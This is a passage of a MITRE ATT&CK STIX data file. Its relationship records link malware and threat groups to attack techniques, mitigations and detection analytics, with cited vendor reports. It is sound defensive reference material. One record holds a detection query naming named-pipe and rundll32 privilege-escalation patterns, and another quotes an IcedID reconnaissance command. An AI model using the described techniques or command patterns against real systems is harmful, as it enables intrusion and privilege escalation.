2016)","relationship_type":"uses","source_ref":"malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1cc1c2b0-5fb8-420e-8285-db4616a9fab2","type":"relationship","created":"2021-02-08T23:18:31.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-02-08T23:18:31.759Z","description":"[BitPaymer](https://attack.mitre.org/software/S0570) compares file names and paths to a list of excluded names and directory names during encryption.(Citation: Crowdstrike Indrik November 2018)","relationship_type":"uses","source_ref":"malware--fa766a65-5136-4ff3-8429-36d08eaa0100","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1cc1f98f-5537-40bf-9693-e11e74a0332f","created":"2024-05-20T18:35:43.236Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T18:35:43.236Z","description":"\n[Volt Typhoon](https://attack.mitre.org/groups/G1017) relies primarily on valid credentials for persistence.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1cc625dd-3079-4aa5-99f5-db1897795500","type":"relationship","created":"2020-05-06T17:47:43.687Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JPCert TSCookie March 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020."}],"modified":"2020-05-06T17:47:43.687Z","description":"[TSCookie](https://attack.mitre.org/software/S0436) has the ability to list processes on the infected host.(Citation: JPCert TSCookie March 2018)","relationship_type":"uses","source_ref":"malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1cc6adf5-a09d-4878-b816-22af0770d3c1","type":"relationship","created":"2020-04-28T18:12:13.600Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium KONNI Jan 2020","url":"https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b","description":"Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020."}],"modified":"2020-04-28T18:12:13.600Z","description":"[KONNI](https://attack.mitre.org/software/S0356) has modified ComSysApp service to load the malicious DLL payload.(Citation: Medium KONNI Jan 2020)","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1cc9d9cb-1671-44a3-916c-bf191490946c","created":"2024-09-18T18:19:26.521Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T19:49:27.182Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) can discover the IP and MAC address of a targeted host.(Citation: Elastic Latrodectus May 2024)(Citation: Bitsight Latrodectus June 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1cce3898-db84-438a-9a7a-5cea536e00e2","created":"2024-09-05T21:41:37.902Z","revoked":false,"external_references":[{"source_name":"DFIR_Quantum_Ransomware","description":"DFIR. (2022, April 25). Quantum Ransomware. Retrieved July 26, 2024.","url":"https://thedfirreport.com/2022/04/25/quantum-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-05T21:41:37.902Z","description":"[IcedID](https://attack.mitre.org/software/S0483) used the following command to check the country/language of the active console: \n` cmd.exe /c chcp >&2`.(Citation: DFIR_Quantum_Ransomware)\n","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1ccef9f1-9fb4-460d-81a9-e0353e9440bd","created":"2023-05-22T19:51:46.232Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-22T19:51:46.232Z","description":"[QUIETCANARY](https://attack.mitre.org/software/S1076) can RC4 encrypt C2 communications.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--93289ecf-4d15-4d6b-a9c3-4ab27e145ef4","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ccf8b65-7f3e-4db7-933c-0a9bfae9602e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 2017"}],"modified":"2019-07-11T13:53:06.089Z","description":"(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"malware--d1183cb9-258e-4f2f-8415-50ac8252c49e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1cd08976-89bc-4626-987f-a47c9c685f68","type":"relationship","created":"2020-11-10T19:15:14.202Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-12-22T21:05:27.577Z","description":"[Javali](https://attack.mitre.org/software/S0528) can use DLL side-loading to load malicious DLLs into legitimate executables.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--64122557-5940-4271-9123-25bfc0c693db","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1cd3a9af-420f-45b6-a8b1-246332b1c49d","type":"relationship","created":"2020-10-19T23:54:29.923Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco Securing SNMP","url":"https://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/20370-snmpsecurity-20370.html","description":"Cisco. (2006, May 10). Securing Simple Network Management Protocol. Retrieved October 19, 2020."}],"modified":"2020-10-22T01:54:23.158Z","description":"Allowlist MIB objects and implement SNMP views.(Citation: Cisco Securing SNMP)","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1cd41777-3d65-4e39-8de7-3951d1568c16","type":"relationship","created":"2020-05-19T17:32:26.498Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Agent Tesla April 2020","url":"https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/","description":"Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."}],"modified":"2020-05-20T13:38:07.117Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) has been executed through malicious e-mail attachments (Citation: Bitdefender Agent Tesla April 2020)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ce50a6a-5f0b-40ca-9a71-41369ae3fdcd","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ProjectSauron Full Report","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"}],"modified":"2020-03-16T18:05:27.875Z","description":"[Remsec](https://attack.mitre.org/software/S0125) can exfiltrate data via a DNS tunnel or email, separately from its C2 channel.(Citation: Kaspersky ProjectSauron Full Report)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ce61b6a-b1fd-4e21-874a-774a1487fa12","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","source_name":"FireEye Know Your Enemy FIN8 Aug 2016"}],"modified":"2019-03-22T20:21:57.824Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has used Registry keys to detect and avoid executing in potential sandboxes.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1cebf654-8955-4be0-b01f-392ffa2bad0a","created":"2024-09-03T16:31:59.560Z","revoked":false,"external_references":[{"source_name":"Mandiant_UNC2165","description":"Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T16:31:59.560Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has modified registry keys to prepare for ransomware execution and to disable common administrative utilities.(Citation: Mandiant_UNC2165)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1cf34ba1-c2e4-4277-86fc-b511ae416a0e","type":"relationship","created":"2022-02-01T13:01:04.149Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"modified":"2022-02-03T21:03:52.498Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) used SSH and the PuTTy PSCP utility to gain access to a restricted segment of a compromised network.(Citation: Kaspersky ThreatNeedle Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1cf57140-fe45-4c26-8946-071252ae8276","type":"relationship","created":"2019-03-04T17:12:37.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Linux Rabbit 2018","url":"https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat","description":"Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019."}],"modified":"2020-03-11T18:48:12.899Z","description":"[Linux Rabbit](https://attack.mitre.org/software/S0362) brute forces SSH passwords in order to attempt to gain access and install its malware onto the server. (Citation: Anomali Linux Rabbit 2018)","relationship_type":"uses","source_ref":"malware--0efefea5-78da-4022-92bc-d726139e8883","target_ref":"attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1cf8df71-e439-43cd-b6cd-c5d971f41dc7","created":"2022-03-30T14:26:51.873Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor account activity for attempts to create and share data, such as snapshots or backups, with untrusted or unusual accounts.","modified":"2022-04-14T15:43:26.196Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3da222e6-53f3-451c-a239-0b405c009432","target_ref":"attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1cfb7192-6136-4946-8ee1-498f59125b9b","created":"2022-07-07T14:42:40.956Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CreepyDrive](https://attack.mitre.org/software/S1023) can use cloud services including OneDrive for data exfiltration.(Citation: Microsoft POLONIUM June 2022)","modified":"2022-07-25T16:15:39.967Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--750eb92a-7fdf-451e-9592-1d42357018f1","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1cfc250f-8944-4310-ad21-1129c32f308a","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T14:31:47.337Z","description":"Monitor for newly executed processes that may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Cyber actors frequently escalate to the SYSTEM account after gaining entry to a Windows host, to enable them to carry out various attacks more effectively. Tools such as Meterpreter, Cobalt Strike, and Empire carry out automated steps to “Get System”, which is the same as switching over to the System user account. Most of these tools utilize multiple techniques to try and attain SYSTEM: in the first technique, they create a named pipe and connects an instance of cmd.exe to it, which allows them to impersonate the security context of cmd.exe, which is SYSTEM. In the second technique, a malicious DLL is injected into a process that is running as SYSTEM; the injected DLL steals the SYSTEM token and applies it where necessary to escalate privileges. This analytic looks for both of these techniques.\n\nAnalytic 1 - Get System Elevation\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\")(ParentImage=\"C:\\\\Windows\\\\System32\\\\services.exe\" Image=\"C:\\\\Windows\\\\System32\\\\cmd.exe\" CommandLine=\"*echo*\" CommandLine=\"*\\pipe\\*\") OR (Image=\"C:\\\\Windows\\\\System32\\\\rundll32.exe\" CommandLine=\"*,a /p:*\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1cfc2e72-a9ce-4dc2-95ad-fb99c90a2880","type":"relationship","created":"2020-12-22T20:20:36.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearkSky Fox Kitten February 2020","url":"https://www.clearskysec.com/fox-kitten/","description":"ClearSky. (2020, February 16). Fox Kitten – Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020."},{"source_name":"CrowdStrike PIONEER KITTEN August 2020","url":"https://www.crowdstrike.com/blog/who-is-pioneer-kitten/","description":"Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020."},{"source_name":"ClearSky Pay2Kitten December 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf","description":"ClearSky. (2020, December 17). Pay2Key Ransomware – A New Campaign by Fox Kitten. Retrieved December 21, 2020."}],"modified":"2021-01-04T14:59:30.624Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has exploited known vulnerabilities in remote services including RDP.(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: ClearSky Pay2Kitten December 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1cfc5611-b428-4fce-8b8d-f591523c9d9c","type":"relationship","created":"2019-06-18T18:40:33.783Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.","url":"https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/","source_name":"Flashpoint FIN 7 March 2019"}],"modified":"2020-01-29T17:32:00.163Z","description":"[SQLRat](https://attack.mitre.org/software/S0390) can make a direct SQL connection to a Microsoft database controlled by the attackers, retrieve an item from the bindata table, then write and execute the file on disk.(Citation: Flashpoint FIN 7 March 2019)\t","relationship_type":"uses","source_ref":"malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1d0af393-5340-4bee-bccc-b1007853276a","created":"2022-06-09T19:49:49.911Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[OutSteel](https://attack.mitre.org/software/S1017) has been distributed through malicious links contained within spearphishing emails.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T19:49:49.911Z","relationship_type":"uses","source_ref":"malware--c113230f-f044-423b-af63-9b63c802f5ae","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d0b86d9-1658-4b92-b56b-79908f3810f5","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitor for API calls associated with altering data. Remote access tools with built-in features may interact directly with the Windows API to gather information.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1d0d0fe6-f16d-4c69-bbaf-1d5423b852fb","created":"2022-10-13T16:10:52.973Z","revoked":false,"external_references":[{"source_name":"NCC Group TA505","description":"Terefos, A. (2020, November 18). TA505: A Brief History of Their Time. Retrieved July 14, 2022.","url":"https://research.nccgroup.com/2020/11/18/ta505-a-brief-history-of-their-time/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:10:52.973Z","description":"(Citation: NCC Group TA505)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d10247e-d92b-4180-be41-c81b8c8f98b3","type":"relationship","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.861Z","description":"Monitor for newly constructed files from a phishing messages to gain access to victim systems.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d10495f-64e6-43d9-85cd-4d74a8acdf7c","type":"relationship","created":"2019-03-07T20:39:58.649Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/","source_name":"TrendMicro Cobalt Group Nov 2017"}],"modified":"2020-03-17T14:37:59.225Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has used odbcconf to proxy the execution of malicious DLL files.(Citation: TrendMicro Cobalt Group Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1d11c326-7640-4ddd-b5fe-c8eaf4097c20","created":"2022-08-22T13:42:04.161Z","x_mitre_version":"0.1","external_references":[{"source_name":"Google EXOTIC LILY March 2022","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bumblebee](https://attack.mitre.org/software/S1039) can send collected data in JSON format to C2.(Citation: Google EXOTIC LILY March 